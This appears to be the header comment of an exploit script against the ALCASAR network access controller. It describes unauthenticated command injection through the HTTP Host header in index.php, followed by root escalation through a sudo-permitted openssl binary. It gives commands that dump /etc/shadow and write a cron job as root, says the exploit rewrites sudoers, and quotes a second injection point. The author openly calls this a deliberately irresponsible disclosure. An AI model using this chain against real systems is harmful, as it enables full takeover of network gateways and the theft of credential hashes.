#
# ALCASAR is a free Network Access Controller which controls the Internet
# consultation networks. It authenticates, attributes and protects users'
# access regardless their connected equipment (PC, smartphone, game console,
# etc.).
#
#
# ALCASAR Web UI, accessible by any unauthenticated user, suffers from a
# trivial vulnerability. In the "index.php" file:
#
# $pattern = preg_replace('/www./','',$_SERVER['HTTP_HOST']);
# exec("grep -Re ^$pattern$ /etc/dansguardian/lists/blacklists/*/domains|cut -d'/' -f6", $output);
#
# By sending a specially crafted value in the "host" HTTP header, it is possible
# to inject the exec() function in order to execute commands as Apache user.
#
# In addition, the Apache user is able to call sudo for these binaries:
#
# /sbin/ip,/sbin/arping,/sbin/arp,/usr/sbin/arpscan,/usr/sbin/tcpdump,/usr/local/bin/alcasar-watchdog.sh,/usr/local/sbin/alcasar-dhcp.sh
# /usr/local/bin/alcasar-conf.sh
# /usr/local/sbin/alcasar-mysql.sh
# /usr/local/sbin/alcasar-bl.sh,/usr/local/sbin/alcasar-havp.sh,/usr/local/bin/alcasar-file-clean.sh,/usr/local/sbin/alcasar-url_filter.sh
# /usr/local/sbin/alcasar-nf.sh,/usr/local/bin/alcasar-iptables.sh,/usr/sbin/ipset
# /usr/local/bin/alcasar-archive.sh
# /usr/bin/radwho,/usr/sbin/chilli_query
# /usr/local/sbin/alcasar-logout.sh
# /sbin/service,/usr/bin/killall,/sbin/chkconfig,/bin/systemctl
# /usr/bin/openssl
#
# As a result, we can use /usr/bin/openssl to read a file as root:
#
# sudo /usr/bin/openssl base64 -in /etc/shadow -A | base64 -d
#
# Or to create or overwrite files as root (create a cron job, edit /etc/sudoers, etc.):
#
# echo cHduZWQK | sudo /usr/bin/openssl base64 -d -out /etc/cron.d/pwned
#
# In this exploit, I choose to modify the "sudoers" file.
#
# Note: this vulnerability has been discovered in less than 30 seconds.
# Others vulnerabilities are still present. This code has never been audited...
# The PHP code is dreadful and needs to be rewritten from scratch.
#
# Example (post-auth) in file acc/admin/activity.php:
#
# if (isset($_POST['action'])){
# switch ($_POST['action']){
# case 'user_disconnect' :
# exec ("sudo /usr/sbin/chilli_query logout $_POST[mac_addr]");
#
#
# This is not a responsible disclosure coz' I have no sense of ethics and I couldn't care less.
